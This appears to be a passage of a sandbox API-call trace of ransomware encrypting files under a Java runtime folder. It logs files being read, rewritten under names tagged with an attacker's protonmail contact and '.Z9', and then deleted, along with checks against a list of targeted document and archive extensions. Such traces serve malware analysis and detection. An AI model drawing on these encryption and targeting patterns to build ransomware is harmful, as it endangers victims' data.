	[0095.673] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.673] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.673] GetLastError () returned 0x0
	[0095.673] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x13040, lpOverlapped=0x0) returned 1
	[0095.692] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x13050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x13050, lpOverlapped=0x0) returned 1
	[0095.694] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.694] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0095.694] SetEndOfFile (hFile=0x370) returned 1
	[0095.694] CloseHandle (hObject=0x370) returned 1
	[0095.694] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.694] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.695] CloseHandle (hObject=0x2b8) returned 1
	[0095.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.696] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 1
	[0095.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.696] lstrlenW (lpString=".doc") returned 4
	[0095.696] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString=".docx") returned 5
	[0095.696] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0095.696] lstrlenW (lpString=".pdf") returned 4
	[0095.696] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString=".xls") returned 4
	[0095.696] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString=".xlsx") returned 5
	[0095.696] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0095.696] lstrlenW (lpString=".ppt") returned 4
	[0095.696] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.696] lstrlenW (lpString=".zip") returned 4
	[0095.696] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString=".rar") returned 4
	[0095.696] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.696] lstrlenW (lpString=".bz2") returned 4
	[0095.696] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.696] lstrlenW (lpString=".7z") returned 3
	[0095.696] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.696] lstrlenW (lpString=".dbf") returned 4
	[0095.696] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.696] lstrlenW (lpString=".1cd") returned 4
	[0095.697] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".jpg") returned 4
	[0095.697] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".doc") returned 4
	[0095.697] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString=".docx") returned 5
	[0095.697] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0095.697] lstrlenW (lpString=".pdf") returned 4
	[0095.697] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString=".xls") returned 4
	[0095.697] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString=".xlsx") returned 5
	[0095.697] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0095.697] lstrlenW (lpString=".ppt") returned 4
	[0095.697] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".zip") returned 4
	[0095.697] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString=".rar") returned 4
	[0095.697] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.697] lstrlenW (lpString=".bz2") returned 4
	[0095.697] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.697] lstrlenW (lpString=".7z") returned 3
	[0095.697] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".dbf") returned 4
	[0095.697] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".1cd") returned 4
	[0095.697] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll") returned 46
	[0095.697] lstrlenW (lpString=".jpg") returned 4
	[0095.697] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.698] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0095.698] lstrlenW (lpString="accessibility.properties") returned 24
	[0095.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.698] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=149) returned 1
	[0095.698] CloseHandle (hObject=0x2b8) returned 1
	[0095.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20
	[0095.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.698] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.698] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.699] GetLastError () returned 0x0
	[0095.699] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x95, lpOverlapped=0x0) returned 1
	[0095.700] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0095.701] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.701] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1
	[0095.701] SetEndOfFile (hFile=0x370) returned 1
	[0095.702] CloseHandle (hObject=0x370) returned 1
	[0095.702] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.702] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.702] CloseHandle (hObject=0x2b8) returned 1
	[0095.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.703] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1
	[0095.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.703] lstrlenW (lpString=".doc") returned 4
	[0095.703] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString=".docx") returned 5
	[0095.703] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0095.703] lstrlenW (lpString=".pdf") returned 4
	[0095.703] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString=".xls") returned 4
	[0095.703] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString=".xlsx") returned 5
	[0095.703] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0095.703] lstrlenW (lpString=".ppt") returned 4
	[0095.703] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.703] lstrlenW (lpString=".zip") returned 4
	[0095.703] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString=".rar") returned 4
	[0095.703] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0095.703] lstrlenW (lpString=".bz2") returned 4
	[0095.703] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".7z") returned 3
	[0095.704] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".dbf") returned 4
	[0095.704] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".1cd") returned 4
	[0095.704] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".jpg") returned 4
	[0095.704] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".doc") returned 4
	[0095.704] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".docx") returned 5
	[0095.704] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0095.704] lstrlenW (lpString=".pdf") returned 4
	[0095.704] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".xls") returned 4
	[0095.704] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".xlsx") returned 5
	[0095.704] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0095.704] lstrlenW (lpString=".ppt") returned 4
	[0095.704] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".zip") returned 4
	[0095.704] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".rar") returned 4
	[0095.704] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".bz2") returned 4
	[0095.704] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0095.704] lstrlenW (lpString=".7z") returned 3
	[0095.704] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0095.704] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.704] lstrlenW (lpString=".dbf") returned 4
	[0095.705] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0095.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.705] lstrlenW (lpString=".1cd") returned 4
	[0095.705] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0095.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0095.705] lstrlenW (lpString=".jpg") returned 4
	[0095.705] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0095.705] lstrcmpiW (lpString1=".cfg", lpString2=".Z9") returned -1
	[0095.705] lstrlenW (lpString="jvm.cfg") returned 7
	[0095.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.705] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=634) returned 1
	[0095.705] CloseHandle (hObject=0x2b8) returned 1
	[0095.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20
	[0095.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.705] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.706] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.706] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.706] GetLastError () returned 0x0
	[0095.706] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x27a, lpOverlapped=0x0) returned 1
	[0096.088] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x280, lpOverlapped=0x0) returned 1
	[0096.089] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.089] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0096.089] SetEndOfFile (hFile=0x370) returned 1
	[0096.089] CloseHandle (hObject=0x370) returned 1
	[0096.089] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.089] SetEndOfFile (hFile=0x2b8) returned 1
	[0096.090] CloseHandle (hObject=0x2b8) returned 1
	[0096.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.090] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString=".doc") returned 4
	[0096.091] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString=".docx") returned 5
	[0096.091] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0096.091] lstrlenW (lpString=".pdf") returned 4
	[0096.091] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString=".xls") returned 4
	[0096.091] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString=".xlsx") returned 5
	[0096.091] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0096.091] lstrlenW (lpString=".ppt") returned 4
	[0096.091] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString=".zip") returned 4
	[0096.091] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString=".rar") returned 4
	[0096.091] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString=".bz2") returned 4
	[0096.091] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0096.091] lstrlenW (lpString=".7z") returned 3
	[0096.091] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString=".dbf") returned 4
	[0096.091] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString=".1cd") returned 4
	[0096.091] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0096.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.091] lstrlenW (lpString=".jpg") returned 4
	[0096.092] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString=".doc") returned 4
	[0096.092] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString=".docx") returned 5
	[0096.092] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1
	[0096.092] lstrlenW (lpString=".pdf") returned 4
	[0096.092] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString=".xls") returned 4
	[0096.092] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString=".xlsx") returned 5
	[0096.092] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1
	[0096.092] lstrlenW (lpString=".ppt") returned 4
	[0096.092] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString=".zip") returned 4
	[0096.092] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString=".rar") returned 4
	[0096.092] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString=".bz2") returned 4
	[0096.092] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1
	[0096.092] lstrlenW (lpString=".7z") returned 3
	[0096.092] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString=".dbf") returned 4
	[0096.092] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString=".1cd") returned 4
	[0096.092] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1
	[0096.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52
	[0096.092] lstrlenW (lpString=".jpg") returned 4
	[0096.092] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1
	[0096.093] lstrcmpiW (lpString1=".pf", lpString2=".Z9") returned -1
	[0096.093] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0096.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.204] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1044) returned 1
	[0096.204] CloseHandle (hObject=0x364) returned 1
	[0096.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20
	[0096.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.204] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.204] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.205] GetLastError () returned 0x0
	[0096.205] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x414, lpOverlapped=0x0) returned 1
